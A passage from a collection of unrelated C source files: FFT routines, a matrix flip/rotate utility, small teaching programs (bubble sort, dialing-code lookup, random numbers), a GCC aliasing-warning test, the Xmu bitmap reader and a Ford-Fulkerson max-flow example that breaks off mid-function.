x2i; x0r -= x2r; x0i -= x2i; a[j + 12] = -wk2i * x0r - wk2r * x0i; a[j + 13] = -wk2i * x0i + wk2r * x0r; x0r = x1r - x3i; x0i = x1i + x3r; a[j + 10] = wk1r * x0r - wk1i * x0i; a[j + 11] = wk1r * x0i + wk1i * x0r; x0r = x1r + x3i; x0i = x1i - x3r; a[j + 14] = wk3r * x0r - wk3i * x0i; a[j + 15] = wk3r * x0i + wk3i * x0r; } } void cftmdl(int n, int l, double *a, double *w) { int j, j1, j2, j3, k, k1, k2, m, m2; double wk1r, wk1i, wk2r, wk2i, wk3r, wk3i; double x0r, x0i, x1r, x1i, x2r, x2i, x3r, x3i; m = l << 2; for (j = 0; j < l; j += 2) { j1 = j + l; j2 = j1 + l; j3 = j2 + l; x0r = a[j] + a[j1]; x0i = a[j + 1] + a[j1 + 1]; x1r = a[j] - a[j1]; x1i = a[j + 1] - a[j1 + 1]; x2r = a[j2] + a[j3]; x2i = a[j2 + 1] + a[j3 + 1]; x3r = a[j2] - a[j3]; x3i = a[j2 + 1] - a[j3 + 1]; a[j] = x0r + x2r; a[j + 1] = x0i + x2i; a[j2] = x0r - x2r; a[j2 + 1] = x0i - x2i; a[j1] = x1r - x3i; a[j1 + 1] = x1i + x3r; a[j3] = x1r + x3i; a[j3 + 1] = x1i - x3r; } wk1r = w[2]; for (j = m; j < l + m; j += 2) { j1 = j + l; j2 = j1 + l; j3 = j2 + l; x0r = a[j] + a[j1]; x0i = a[j + 1] + a[j1 + 1]; x1r = a[j] - a[j1]; x1i = a[j + 1] - a[j1 + 1]; x2r = a[j2] + a[j3]; x2i = a[j2 + 1] + a[j3 + 1]; x3r = a[j2] - a[j3]; x3i = a[j2 + 1] - a[j3 + 1]; a[j] = x0r + x2r; a[j + 1] = x0i + x2i; a[j2] = x2i - x0i; a[j2 + 1] = x0r - x2r; x0r = x1r - x3i; x0i = x1i + x3r; a[j1] = wk1r * (x0r - x0i); a[j1 + 1] = wk1r * (x0r + x0i); x0r = x3i + x1r; x0i = x3r - x1i; a[j3] = wk1r * (x0i - x0r); a[j3 + 1] = wk1r * (x0i + x0r); } k1 = 0; m2 = 2 * m; for (k = m2; k < n; k += m2) { k1 += 2; k2 = 2 * k1; wk2r = w[k1]; wk2i = w[k1 + 1]; wk1r = w[k2]; wk1i = w[k2 + 1]; wk3r = wk1r - 2 * wk2i * wk1i; wk3i = 2 * wk2i * wk1r - wk1i; for (j = k; j < l + k; j += 2) { j1 = j + l; j2 = j1 + l; j3 = j2 + l; x0r = a[j] + a[j1]; x0i = a[j + 1] + a[j1 + 1]; x1r = a[j] - a[j1]; x1i = a[j + 1] - a[j1 + 1]; x2r = a[j2] + a[j3]; x2i = a[j2 + 1] + a[j3 + 1]; x3r = a[j2] - a[j3]; x3i = a[j2 + 1] - a[j3 + 1]; a[j] = x0r + x2r; a[j + 1] = x0i + x2i; x0r -= x2r; x0i -= x2i; a[j2] = wk2r * x0r - wk2i * x0i; a[j2 + 1] = wk2r * x0i + wk2i * x0r; x0r = x1r - x3i; x0i = x1i + x3r; a[j1] = wk1r * x0r - wk1i * x0i; a[j1 + 1] = wk1r * x0i + wk1i * x0r; x0r = x1r + x3i; x0i = x1i - x3r; a[j3] = wk3r * x0r - wk3i * x0i; a[j3 + 1] = wk3r * x0i + wk3i * x0r; } wk1r = w[k2 + 2]; wk1i = w[k2 + 3]; wk3r = wk1r - 2 * wk2r * wk1i; wk3i = 2 * wk2r * wk1r - wk1i; for (j = k + m; j < l + (k + m); j += 2) { j1 = j + l; j2 = j1 + l; j3 = j2 + l; x0r = a[j] + a[j1]; x0i = a[j + 1] + a[j1 + 1]; x1r = a[j] - a[j1]; x1i = a[j + 1] - a[j1 + 1]; x2r = a[j2] + a[j3]; x2i = a[j2 + 1] + a[j3 + 1]; x3r = a[j2] - a[j3]; x3i = a[j2 + 1] - a[j3 + 1]; a[j] = x0r + x2r; a[j + 1] = x0i + x2i; x0r -= x2r; x0i -= x2i; a[j2] = -wk2i * x0r - wk2r * x0i; a[j2 + 1] = -wk2i * x0i + wk2r * x0r; x0r = x1r - x3i; x0i = x1i + x3r; a[j1] = wk1r * x0r - wk1i * x0i; a[j1 + 1] = wk1r * x0i + wk1i * x0r; x0r = x1r + x3i; x0i = x1i - x3r; a[j3] = wk3r * x0r - wk3i * x0i; a[j3 + 1] = wk3r * x0i + wk3i * x0r; } } } void rftfsub(int n, double *a, int nc, double *c) { int j, k, kk, ks, m; double wkr, wki, xr, xi, yr, yi; m = n >> 1; ks = 2 * nc / m; kk = 0; for (j = 2; j < m; j += 2) { k = n - j; kk += ks; wkr = 0.5 - c[nc - kk]; wki = c[kk]; xr = a[j] - a[k]; xi = a[j + 1] + a[k + 1]; yr = wkr * xr - wki * xi; yi = wkr * xi + wki * xr; a[j] -= yr; a[j + 1] -= yi; a[k] += yr; a[k + 1] -= yi; } } void rftbsub(int n, double *a, int nc, double *c) { int j, k, kk, ks, m; double wkr, wki, xr, xi, yr, yi; a[1] = -a[1]; m = n >> 1; ks = 2 * nc / m; kk = 0; for (j = 2; j < m; j += 2) { k = n - j; kk += ks; wkr = 0.5 - c[nc - kk]; wki = c[kk]; xr = a[j] - a[k]; xi = a[j + 1] + a[k + 1]; yr = wkr * xr + wki * xi; yi = wkr * xi - wki * xr; a[j] -= yr; a[j + 1] = yi - a[j + 1]; a[k] += yr; a[k + 1] = yi - a[k + 1]; } a[m + 1] = -a[m + 1]; } void dctsub(int n, double *a, int nc, double *c) { int j, k, kk, ks, m; double wkr, wki, xr; m = n >> 1; ks = nc / n; kk = 0; for (j = 1; j < m; j++) { k = n - j; kk += ks; wkr = c[kk] - c[nc - kk]; wki = c[kk] + c[nc - kk]; xr = wki * a[j] - wkr * a[k]; a[j] = wkr * a[j] + wki * a[k]; a[k] = xr; } a[m] *= c[0]; } void dstsub(int n, double *a, int nc, double *c) { int j, k, kk, ks, m; double wkr, wki, xr; m = n >> 1; ks = nc / n; kk = 0; for (j = 1; j < m; j++) { k = n - j; kk += ks; wkr = c[kk] - c[nc - kk]; wki = c[kk] + c[nc - kk]; xr = wki * a[k] - wkr * a[j]; a[k] = wkr * a[k] + wki * a[j]; a[j] = xr; } a[m] *= c[0]; }
the_stack_data/96741.c
// Cmake tools for old generation HTTP (v0.9, v1.0, v1.1) C library. // Copyright (c) 2019 AUTHORS, MIT License. int main() { return 0; }
the_stack_data/982259.c
long xor(dqn, dq) long dqn, dq; { long dqs, dqns, un; dqs = (dq >> 15); dqns = (dqn >> 10); un = (dqs ^ dqns); return(un); }
the_stack_data/220456160.c
#define thisprog "xe-matrixmod2" #define TITLE_STRING thisprog" v 1: 21.September.2020 [JRH]" #define MAXLINELEN 1000 #define MAXLABELS 1000 #include <math.h> #include <stdio.h> #include <stdlib.h> #include <string.h> /* <TAGS> matrix string</TAGS> v 1: 21.September.2020 [JRH]: - new program and functions to deal with non-numerical matrices */ /* external functions start */ char *xf_lineread1(char *line, long *maxlinelen, FILE *fpin); long *xf_lineparse2(char *line,char *delimiters, long *nwords); int xf_matrixflip2_l(long *data1, long *width, long *height, int setflip); int xf_matrixrotate2_l(long *data1, long *width, long *height, int r); int xf_matrixtrans2_l(long *data1, long *width, long *height); /* external functions end */ int main (int argc, char *argv[]) { /* common-use variables */ char message[MAXLINELEN]; long int ii,jj,kk,ll,mm,nn; int v,w,x,y,z,col,colmatch; int sizeofchar= sizeof(char),sizeoflong= sizeof(long); float a,b,c,d,result_f[64]; double aa,bb,cc,dd,ee, result_d[64]; FILE *fpin,*fpout; /* line-reading and word/column-parsing */ char *line=NULL,*pword=NULL,*setkeys=NULL; long *keycols=NULL,nkeys=0,*iword=NULL,nlines=0,nwords=0,maxlinelen=0,templen=0; /* program-specific variables */ char *matrix1=NULL; // list of all words in the matrix long matrixwidth,matrixheight,*imatrix=NULL,nmatrix=0; /* arguments */ char *infile=NULL; int setverb=0,sethead=0; int setrotate=0,settrans=0,setflip=0; /******************************************************************************** PRINT INSTRUCTIONS IF THERE IS NO FILENAME SPECIFIED ********************************************************************************/ if(argc<2) { fprintf(stderr,"\n"); fprintf(stderr,"----------------------------------------------------------------------\n"); fprintf(stderr,"%s\n",TITLE_STRING); fprintf(stderr,"----------------------------------------------------------------------\n"); fprintf(stderr,"- Flip, rotate or transpose a matrix: numeric or non-numeric\n"); fprintf(stderr," - note that modifications are performed in the above order\n"); fprintf(stderr," - note that flipping in x and y dimensions= 180-deg rotation\n"); fprintf(stderr,"USAGE: %s [infile] [options]\n",thisprog); fprintf(stderr," [input]: file name or \"stdin\"\n"); fprintf(stderr,"VALID OPTIONS: defaults in []\n"); fprintf(stderr," -verb: verbose output (0=NO 1=YES 999=DEBUG) [%d]\n",setverb); fprintf(stderr," -f : flip matrix (0=NO, 1= x-flip, 2= y-flip) [%d]\n",setflip); fprintf(stderr," -r : rotation degrees (0,90,180,270 - negative allowed) [%d]\n",setrotate); fprintf(stderr," -t : transpose (0=NO, 1=YES) [%d]\n",settrans); fprintf(stderr,"EXAMPLES:\n"); fprintf(stderr," %s data.txt -f 2 -r -90\n",thisprog); fprintf(stderr," cat temp.txt | %s stdin -t 1\n",thisprog); fprintf(stderr,"OUTPUT:\n"); fprintf(stderr," the modified matrix\n"); fprintf(stderr,"----------------------------------------------------------------------\n"); fprintf(stderr,"\n"); exit(0); } /******************************************************************************** READ THE FILENAME AND OPTIONAL ARGUMENTS - including comma-separated list item ********************************************************************************/ infile= argv[1]; for(ii=2;ii<argc;ii++) { if( *(argv[ii]+0) == '-') { if((ii+1)>=argc) {fprintf(stderr,"\n--- Error [%s]: missing value for argument \"%s\"\n\n",thisprog,argv[ii]); exit(1);} else if(strcmp(argv[ii],"-verb")==0) setverb=atoi(argv[++ii]); else if(strcmp(argv[ii],"-f")==0) setflip=atoi(argv[++ii]); else if(strcmp(argv[ii],"-r")==0) setrotate=atoi(argv[++ii]); else if(strcmp(argv[ii],"-t")==0) settrans=atoi(argv[++ii]); else {fprintf(stderr,"\n--- Error [%s]: invalid command line argument [%s]\n\n",thisprog,argv[ii]); exit(1);} }} if(setverb!=0 && setverb!=1 && setverb != 999) { fprintf(stderr,"\n--- Error [%s]: invalid -verb [%d] must be 0,1, or 999\n\n",thisprog,setverb);exit(1);} x= abs(setrotate); if(x!=0&&x!=90&&x!=180&&x!=270) {fprintf(stderr,"\n--- Error [%s]: invalid rotation setting (-r %d) \n\n",thisprog,setrotate);exit(1);} if(settrans!=0&&settrans!=1) {fprintf(stderr,"\n--- Error [%s]: invalid transpose setting (-t %d) \n\n",thisprog,settrans);exit(1);} if(setflip<0 || setflip>2) {fprintf(stderr,"\n--- Error [%s]: invalid -flip (%d) must be 0-2\n\n",thisprog,setflip);exit(1);} /******************************************************************************** STORE DATA - ASSUME WE DON'T KNOW THE LENGTH OF EACH INPUT LINE ********************************************************************************/ if(strcmp(infile,"stdin")==0) fpin=stdin; else if((fpin=fopen(infile,"r"))==0) {fprintf(stderr,"\n--- Error [%s]: file \"%s\" not found\n\n",thisprog,infile);exit(1);} nlines= 0; // total lines in the input, for reporting matrixheight= 0; // the number of words on each nrows matrixwidth= 0; // the total number of rows nmatrix= 0; // total number of words in matrix (width x height) while((line=xf_lineread1(line,&maxlinelen,fpin))!=NULL) { if(maxlinelen==-1) {fprintf(stderr,"\n--- Error [%s]: readline function encountered insufficient memory\n\n",thisprog);exit(1);} nlines++; // increment line-counter, for reporting if(sethead==1) { if(line[0]=='#'||strlen(line)<=1) { printf("%s",line); continue;}} // preserve leading comments and blank lines if required /* parse line */ iword= xf_lineparse2(line,"\t",&nwords); // user-defined delimiter if(nwords<0) {fprintf(stderr,"\n--- Error [%s]: lineparse function encountered insufficient memory\n\n",thisprog);exit(1);}; //TEST: for(ii=0;ii<nwords;ii++) { pword= line+iword[ii]; printf("%s\n",pword); } /* for the first actual data-line, record the matrix width (number of columns) */ if(matrixheight++ == 0) { matrixwidth= nwords; if(nwords<0) {fprintf(stderr,"\n--- Error [%s]: first data row (line %ld) is empty: consider using the -skip option to exclude leading blank lines and comments\n\n",thisprog,nlines);exit(1);}; } /* make sure the number of columns is constant */ if(nwords!=matrixwidth) {fprintf(stderr,"\n--- Error [%s]: line %ld has %ld fields but matrix width should be %ld, based on first data row. Check that the matrix is symmetrical, that the correct delimiter is specified, and that there are no leading blank lines or comments that should have been excluded with the -skip option\n\n",thisprog,nlines,nwords,matrixwidth);exit(1);}; /* ADD EACH WORD TO THE MATRIX */ for(ii=0;ii<nwords;ii++) { pword= line+iword[ii]; kk= strlen(pword); //printf("%s: len=%ld\n",pword,kk); /* update the pointer to the latest word */ imatrix= realloc(imatrix,((nmatrix+1)*sizeoflong)); if(imatrix==NULL) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);} imatrix[nmatrix]=templen; /* set pointer to current start position */ /* add the latest word to the matrix */ matrix1= realloc(matrix1,(templen+kk+4)*sizeofchar); if(matrix1==NULL) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);} sprintf((matrix1+templen),"%s",(line+iword[ii])); /* add new word to end of matrix1, adding terminal NULL */ /* update templen (total characters) and nmatrix (number of matrix elements) */ templen+= (kk+1); /* update length, allowing for terminal NULL - serves as pointer to start of next word */ nmatrix++; /* increment nmatrix with check */ } } if(strcmp(infile,"stdin")!=0) fclose(fpin); if(setverb!=0) { fprintf(stderr,"\ninput_matrix_width= %ld\n",matrixwidth); fprintf(stderr,"\ninput_matrix_height= %ld\n",matrixheight); fprintf(stderr,"\ntotal_words= %ld\n",nmatrix); } /******************************************************************************** APPLY THE TRANSFORMATIONS IN ORDER: FLIP, ROTATE, TRANSPOSE ********************************************************************************/ /* FLIP THE MATRIX-INDICES */ if(setflip!=0) { z= xf_matrixflip2_l(imatrix,&matrixwidth,&matrixheight,setflip); if(z==-1) {fprintf(stderr,"\n--- Error [%s]: invalid size of input array for flipping\n\n",thisprog);exit(1);} if(z==-2) {fprintf(stderr,"\n--- Error [%s]: invalid flipping-type (-f %d) - must be 1 (x) or 2 (y) \n\n",thisprog,setflip);exit(1);} if(z==-3) {fprintf(stderr,"\n--- Error [%s]: insufficient memory for matrix rotation\n\n",thisprog);exit(1);} } /* ROTATE THE MATRIX-INDICES */ if(setrotate!=0) { z= xf_matrixrotate2_l(imatrix,&matrixwidth,&matrixheight,setrotate); if(z==-1) {fprintf(stderr,"\n--- Error [%s]: invalid size of input array for rotation\n\n",thisprog);exit(1);} if(z==-2) {fprintf(stderr,"\n--- Error [%s]: invalid rotation (-r %d)\n\n",thisprog,setrotate);exit(1);} if(z==-3) {fprintf(stderr,"\n--- Error [%s]: insufficient memory for matrix rotation\n\n",thisprog);exit(1);} } /* TRANSPOSE THE MATRIX-INDICES */ if(settrans==1) { z= xf_matrixtrans2_l(imatrix,&matrixwidth,&matrixheight); if(z==-1) {fprintf(stderr,"\n--- Error [%s]: invalid size of input array for transposing\n\n",thisprog);exit(1);} if(z==-2) {fprintf(stderr,"\n--- Error [%s]: insufficient memory for matrix transposing\n\n",thisprog);exit(1);} } /* OUTPUT MODIFIED MATRIX */ for(ii=jj=0;ii<nmatrix;ii++) { printf("%s",matrix1+imatrix[ii]); if(++jj<matrixwidth) printf("\t"); else { printf("\n"); jj=0;} } goto END; /********************************************************************************/ /* CLEANUP AND EXIT */ /********************************************************************************/ END: if(line!=NULL) free(line); if(iword!=NULL) free(iword); if(imatrix!=NULL) free(imatrix); exit(0); }
the_stack_data/206394507.c
/* * main.c * * Created on: Jun 16, 2013 * Author: delmadord */ #include <stdio.h> #define COUNTRY_COUNT \ ((int) (sizeof(country_codes) / sizeof(country_codes[0]))) struct dialing_code { char *country; int code; }; const struct dialing_code country_codes[] = {{"Argentina", 54}, {"Bangladesh", 880}, {"Brazil", 55}, {"Burma (Myanmar)", 95}, {"China", 86}, {"Colombia", 57}, {"Congo, Dem. Rep. of", 243}, {"Egypt", 20}, {"Ethiopia", 251}, {"France", 33}, {"Germany", 49}, {"India", 91}, {"Indonesia", 62}, {"Iran", 98}, {"Italy", 39}, {"Japan", 81}, {"Mexico", 52}, {"Nigeria", 234}, {"Pakistan", 92}, {"Philippines", 63}, {"Poland", 48}, {"Russia", 7}, {"South Africa", 27}, {"South Korea", 82}, {"Spain", 34}, {"Sudan", 249}, {"Thailand", 66}, {"Turkey", 90}, {"Ukraine", 380}, {"United Kingdom", 44}, {"United States", 1}, {"Vietnam", 84}}; int main(void) { int code, i; printf("Enter dialing code: "); scanf("%d", &code); for (i = 0; i < COUNTRY_COUNT; i++) if (code == country_codes[i].code) { printf("The country with dialing code %d is %s\n", code, country_codes[i].country); return 0; } printf("No corresponding country found\n"); return 0; }
the_stack_data/167331656.c
// Bubble sort code #include <stdio.h> int main(void) { int array[100], n, c, d, swap; printf("Enter number of elements\n"); scanf("%d", &n); printf("Enter %d integers\n", n); for(c = 0; c < n; c++) scanf("%d", &array[c]); for(c = 0; c < n - 1; c++) { for(d = 0; d < n - c - 1; d++) { if(array[d] > array[d + 1]) { /* For decreasing order use < */ swap = array[d]; array[d] = array[d + 1]; array[d + 1] = swap; } } } printf("Sorted list in ascending order:\n"); for(c = 0; c < n; c++) printf("%d\n", array[c]); return 0; }
the_stack_data/1249640.c
#include<stdio.h> #include<time.h> #include<stdlib.h> int main(void){ int n[100], i; srand(time(NULL)); for(i=0; i<100; i++){ n[i]=rand(); n[i]=n[i]%11; printf("%d ", n[i]); } printf("\n"); for(i=99; i>=0; i--){ printf("%d ", n[i]); } printf("\n"); return 0; }
the_stack_data/539112.c
// { dg-do compile } // { dg-options "-Wstrict-aliasing -fstrict-aliasing" } // Copyright (C) 2002 Free Software Foundation, Inc. // Contributed by Nathan Sidwell 29 Sep 2002 <[email protected]> // 8083. warn about odd casts typedef int YYSTYPE; typedef struct tDefEntry { unsigned t; } tDefEntry; struct incomplete; YYSTYPE addSibMacro( YYSTYPE list ) { tDefEntry** ppT = (tDefEntry**)&list; // { dg-warning "type-punned pointer will" "" } struct incomplete *p = (struct incomplete *)&list; // { dg-warning "type-punning to incomplete" "" } return list; }
the_stack_data/51541.c
/* $XConsortium: RdBitF.c,v 1.10 94/04/17 20:16:13 kaleb Exp $ */ /* $XFree86: xc/lib/Xmu/RdBitF.c,v 3.2 1996/05/10 06:55:26 dawes Exp $ */ /* Copyright (c) 1988 X Consortium Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Except as contained in this notice, the name of the X Consortium shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from the X Consortium. */ /* * This file contains miscellaneous utility routines and is not part of the * Xlib standard. * * Public entry points: * * XmuReadBitmapData read data from FILE descriptor * XmuReadBitmapDataFromFile read X10 or X11 format bitmap files * and return data * * Note that this file and ../X/XRdBitF.c look very similar.... Keep them * that way (but don't use common source code so that people can have one * without the other). */ /* * Based on an optimized version provided by Jim Becker, Auguest 5, 1988. */ #include <X11/Xos.h> #include <X11/Xlib.h> #include <X11/Xutil.h> #include <X11/Xlibint.h> #include <stdio.h> #include <ctype.h> #define MAX_SIZE 255 /* shared data for the image read/parse logic */ static short hexTable[256]; /* conversion value */ static Bool initialized = False; /* easier to fill in at run time */ /* * Table index for the hex values. Initialized once, first time. * Used for translation value or delimiter significance lookup. */ static void initHexTable() { /* * We build the table at run time for several reasons: * * 1. portable to non-ASCII machines. * 2. still reentrant since we set the init flag after setting table. * 3. easier to extend. * 4. less prone to bugs. */ hexTable['0'] = 0; hexTable['1'] = 1; hexTable['2'] = 2; hexTable['3'] = 3; hexTable['4'] = 4; hexTable['5'] = 5; hexTable['6'] = 6; hexTable['7'] = 7; hexTable['8'] = 8; hexTable['9'] = 9; hexTable['A'] = 10; hexTable['B'] = 11; hexTable['C'] = 12; hexTable['D'] = 13; hexTable['E'] = 14; hexTable['F'] = 15; hexTable['a'] = 10; hexTable['b'] = 11; hexTable['c'] = 12; hexTable['d'] = 13; hexTable['e'] = 14; hexTable['f'] = 15; /* delimiters of significance are flagged w/ negative value */ hexTable[' '] = -1; hexTable[','] = -1; hexTable['}'] = -1; hexTable['\n'] = -1; hexTable['\t'] = -1; initialized = True; } /* * read next hex value in the input stream, return -1 if EOF */ static NextInt (fstream) FILE *fstream; { int ch; int value = 0; int gotone = 0; int done = 0; /* loop, accumulate hex value until find delimiter */ /* skip any initial delimiters found in read stream */ while (!done) { ch = getc(fstream); if (ch == EOF) { value = -1; done++; } else { /* trim high bits, check type and accumulate */ ch &= 0xff; if (isascii(ch) && isxdigit(ch)) { value = (value << 4) + hexTable[ch]; gotone++; } else if ((hexTable[ch]) < 0 && gotone) done++; } } return value; } /* * The data returned by the following routine is always in left-most byte * first and left-most bit first. If it doesn't return BitmapSuccess then * its arguments won't have been touched. This routine should look as much * like the Xlib routine XReadBitmapfile as possible. */ int XmuReadBitmapData (fstream, width, height, datap, x_hot, y_hot) FILE *fstream; /* handle on file */ unsigned int *width, *height; /* RETURNED */ unsigned char **datap; /* RETURNED */ int *x_hot, *y_hot; /* RETURNED */ { unsigned char *data = NULL; /* working variable */ char line[MAX_SIZE]; /* input line from file */ int size; /* number of bytes of data */ char name_and_type[MAX_SIZE]; /* an input line */ char *type; /* for parsing */ int value; /* from an input line */ int version10p; /* boolean, old format */ int padding; /* to handle alignment */ int bytes_per_line; /* per scanline of data */ unsigned int ww = 0; /* width */ unsigned int hh = 0; /* height */ int hx = -1; /* x hotspot */ int hy = -1; /* y hotspot */ #undef Xmalloc /* see MALLOC_0_RETURNS_NULL in Xlibint.h */ #define Xmalloc(size) malloc(size) /* first time initialization */ if (initialized == False) initHexTable(); /* error cleanup and return macro */ #define RETURN(code) { if (data) free (data); return code; } while (fgets(line, MAX_SIZE, fstream)) { if (strlen(line) == MAX_SIZE-1) { RETURN (BitmapFileInvalid); } if (sscanf(line,"#define %s %d",name_and_type,&value) == 2) { if (!(type = strrchr(name_and_type, '_'))) type = name_and_type; else type++; if (!strcmp("width", type)) ww = (unsigned int) value; if (!strcmp("height", type)) hh = (unsigned int) value; if (!strcmp("hot", type)) { if (type-- == name_and_type || type-- == name_and_type) continue; if (!strcmp("x_hot", type)) hx = value; if (!strcmp("y_hot", type)) hy = value; } continue; } if (sscanf(line, "static short %s = {", name_and_type) == 1) version10p = 1; else if (sscanf(line,"static unsigned char %s = {",name_and_type) == 1) version10p = 0; else if (sscanf(line, "static char %s = {", name_and_type) == 1) version10p = 0; else continue; if (!(type = strrchr(name_and_type, '_'))) type = name_and_type; else type++; if (strcmp("bits[]", type)) continue; if (!ww || !hh) RETURN (BitmapFileInvalid); if ((ww % 16) && ((ww % 16) < 9) && version10p) padding = 1; else padding = 0; bytes_per_line = (ww+7)/8 + padding; size = bytes_per_line * hh; data = (unsigned char *) Xmalloc ((unsigned int) size); if (!data) RETURN (BitmapNoMemory); if (version10p) { unsigned char *ptr; int bytes; for (bytes=0, ptr=data; bytes<size; (bytes += 2)) { if ((value = NextInt(fstream)) < 0) RETURN (BitmapFileInvalid); *(ptr++) = value; if (!padding || ((bytes+2) % bytes_per_line)) *(ptr++) = value >> 8; } } else { unsigned char *ptr; int bytes; for (bytes=0, ptr=data; bytes<size; bytes++, ptr++) { if ((value = NextInt(fstream)) < 0) RETURN (BitmapFileInvalid); *ptr=value; } } break; } /* end while */ if (data == NULL) { RETURN (BitmapFileInvalid); } *datap = data; data = NULL; *width = ww; *height = hh; if (x_hot) *x_hot = hx; if (y_hot) *y_hot = hy; RETURN (BitmapSuccess); } #if NeedFunctionPrototypes int XmuReadBitmapDataFromFile (_Xconst char *filename, unsigned int *width, unsigned int *height, unsigned char **datap, int *x_hot, int *y_hot) #else int XmuReadBitmapDataFromFile (filename, width, height, datap, x_hot, y_hot) char *filename; unsigned int *width, *height; /* RETURNED */ unsigned char **datap; /* RETURNED */ int *x_hot, *y_hot; /* RETURNED */ #endif { FILE *fstream; int status; #ifdef __EMX__ filename = __XOS2RedirRoot(filename); #endif if ((fstream = fopen (filename, "r")) == NULL) { return BitmapOpenFailed; } status = XmuReadBitmapData (fstream, width, height, datap, x_hot, y_hot); fclose (fstream); return status; }
the_stack_data/7949876.c
/** Flow Network problem Ford-Fulkerson algorithm Procedure: Find an path P in the residual graph Augment flow along path P and update the residual graph Repeat until get stuck Augment flow: if there's a edge s->t in path with flow amount F, add a reverse edge t->s with remained capacity F to let other paths can flow back It's easier to imagine by consider edges as water pipes The value of the maxflow equals the value of the min cut value of cut: cut the graph to separate source and sink, adding the capacities of forward edges Running Time: O(mC) while loop: C iteration (C: total capacity out of node 0) Augmentation: O(m) (m: # of edges) If choosing path in a wrong way, performence would be bad Example: (100) (100) -----> a ---->-- / | \ s | (1) t \ V / -----> b --->--- (100) (100) Solution: Choose augmenting paths with: Max bottleneck capacity Fewest number of edges Sufficiently large bottleneck capacity delta-scaling: look for paths with bottleneck capacity of at least delta */ #include <stdio.h> #include <stdlib.h> struct Node { int id; int explored; struct Edge *outs; }; struct Edge { struct Node *node; int used; int capacity; struct Edge *next; }; struct Path { struct Edge *edge; struct Path *next; }; struct Path_collection { int bottleneck; struct Path *path; struct Path_collection *next; }; static struct Node *nodes[6]; // source: node 0, sink: node 5 static struct Path_collection *path_collection = NULL; struct Node *create_node(int id) { struct Node *node = malloc(sizeof(struct Node)); node->id = id; node->explored = 0; node->outs = NULL; return node; } void make_nodes() { for (int i = 0; i < 6; i++) { nodes[i] = create_node(i); } } struct Edge *create_edge(int id, int capacity) { struct Edge *edge = malloc(sizeof(struct Edge)); edge->node = nodes[id]; edge->used = 0; edge->capacity = capacity; edge->next = NULL; return edge; } void make_edges(struct Node *node, int out_ids[], int capacities[], int olen) { struct Edge *edge; for (int i = 0; i < olen; i++) { if (node->outs == NULL) { node->outs = create_edge(out_ids[i], capacities[i]); edge = node->outs; } else { edge->next = create_edge(out_ids[i], capacities[i]); edge = edge->next; } } } /** (10) (4) (10) ------->1 -----------> 2----------\ | |\ ^ \ | | ---------\ | \ | | (8) \ | \ | (2)| \ |(6) \ | v v| v source >>>> 0 ----> 3 -----------> 4 ------------> 5 <<<<< sink (10) (9) (10) */ void make_all_edges() { int out0[] = {1, 3}; int out1[] = {2, 3, 4}; int out2[] = {5}; int out3[] = {4}; int out4[] = {2, 5}; int cpt0[] = {10, 10}; int cpt1[] = {4, 2, 8}; int cpt2[] = {10}; int cpt3[] = {9}; int cpt4[] = {6, 10}; make_edges(nodes[0], out0, cpt0, 2); make_edges(nodes[1], out1, cpt1, 3); make_edges(nodes[2], out2, cpt2, 1); make_edges(nodes[3], out3, cpt3, 1); make_edges(nodes[4], out4, cpt4, 2); } void make_graph() { make_nodes(); make_all_edges(); } void augment_edge(struct Node *s, struct Node *t, int capacity, int flow) { struct Edge *prev = NULL, *out = t->outs; while (out) { if (out->node == s) { // increase remained amount out->used -= flow; return; } prev = out; out = out->next; } // not found, create a fake one if (prev == NULL) { // t has no outgoing edge t->outs = create_edge(s->id, capacity); t->outs->used = capacity - flow; } else { prev->next = create_edge(s->id, capacity); prev->next->used = capacity - flow; } } void update_capacity(struct Node *node, struct Path *path, int flow) { struct Path *p = path; // reset not explored node->explored = 0; while (p) { p->edge->used += flow; // reset not explored p->edge->node->explored = 0; // add augment edge augment_edge(node, p->edge->node, p->edge->capacity, flow); node = p->edge->node; p = p->next; } } // destination is node 5, fill up **path int find_path(struct Node *node, struct Path **path) { struct Edge *out = node->outs; struct Path *p; int remain; node->explored = 1; while (out) { if (out->node->explored == 0 && out->capacity - out->used > 0) { if (out->node->id == 5) { // Goal p = malloc(sizeof(struct Path)); p->edge = out; p->next = *path; *path = p; return out->capacity - out->used; } else if ((remain = find_path(out->node, path)) > 0) { p = malloc(sizeof(struct Path)); p->edge = out; p->next = *path; *path = p; // return bottleneck return (out->capacity - out->used < remain) ? (out->capacity - out->used) : remain; } } out = out->next; } return 0; } void ford_fulkerson() { int bottleneck; struct Path *path = NULL; struct Path_collection *collection; bottleneck = find_path(nodes[0], &path); while (bottleneck > 0) { update_capacity(nodes[0], path, bottleneck); // push in to collection collection = malloc(sizeof(struct Path_collection)); collection->bottleneck = bottleneck; collection->path = path; collection->next = path_collection; path_collection = collection; path = NULL; bottleneck = find_path(nodes[0], &path); } } void print_paths() { int flow = 0; struct Path_collection *collection = path_collection; struct Path *path; while (collection) { path = collection->path; printf("Flow amount: %d\n\t0 ->", collection->bottleneck); flow += collection->bottleneck; while (path) { printf(" %d ", path->edge->node->id); if (path->next) { printf("->"); } path = path->next; } printf("\n"); collection = collection->next; } printf("Total flow amount: %d\n", flow); } void free_edge(struct Edge *edge) { if (edge) { free_edge(edge->next); free(edge); } } void free_path(struct Path *path) { if (path) { free_path(path->next); free(path); } } void free_path_collection(struct Path_collection *collection) { if (collection) { free_path_collection(collection->next); free_path(collection->path); free(collection); } } void free_all() { free_path_collection(path_collection); for (int i = 0; i < 6; i++) { free_edge(nodes[i]->outs); 